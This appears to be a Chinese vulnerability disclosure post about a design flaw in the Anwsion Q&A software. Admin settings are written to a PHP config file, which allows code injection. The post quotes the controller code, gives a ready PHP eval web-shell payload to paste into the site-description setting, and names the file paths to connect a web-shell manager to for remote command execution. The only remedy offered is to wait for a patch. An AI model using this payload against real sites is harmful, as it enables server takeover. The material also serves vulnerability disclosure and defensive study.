漏洞 影响 全版本。
结合Anwsion 0.7以下所有版本可导致站点被入侵。
设计缺陷代码如下 见75-96行 将网站后台配置保存到 数据库 同时又保存到了本地 PHP 文件 导致可通过写入一句话执行。 /app/admin/controller/c_setting_class.inc.php
//保存参数到数据库 $retval = $this->model('setting')->set_vars($vars); //保存缓存文件 if(!$this->model('setting')->update_setting_config()) { H::ajax_json_output(AWS_APP::RSM(null, "-1", '无法写入配置文件,请设置文件 system/config/setting.php 的权限为0777。')); } if ($retval) { ZCACHE::delete("setting_config"); H::ajax_json_output(AWS_APP::RSM(null, "1", " 系统 设置修改成功")); } else { H::ajax_json_output(AWS_APP::RSM(null, "-1", "系统设置修改失败")); } }
被写入的配置文件内容如下 system/config/setting.php
访问后台系统设置地址 http://sa.sebug.net/admin/setting/setting/group_id-1
在网站简介处添加一句话 \';eval($_POST[cmd]);//
话管理工具连接一句话/system/config/setting.php 早期Anwsion 0.6版本或更早版本配置文件被写入/gzphp/config/setting.php 如果受到rewrite限制无法访问一句话文件 则直接通过一句话管理工具连接/index.php文件即可。
成功连接一句话文件。
修复方案: 等待官方补丁或者是关注近期更新。
漏洞发布之后将会通知开发者过来认领 避免被恶意利用。
不知为何 在漏洞预览中一句话代码会被添加多一个\ 莫非是防XSS而添加的? 不知这样在审核通过后可以浏览时是否同样会被多添加一个\ 否则将误导他人 测试失败。
查看更多关于Anwsion后台功能设计缺陷可获得SHELL - 网站安全的详细内容...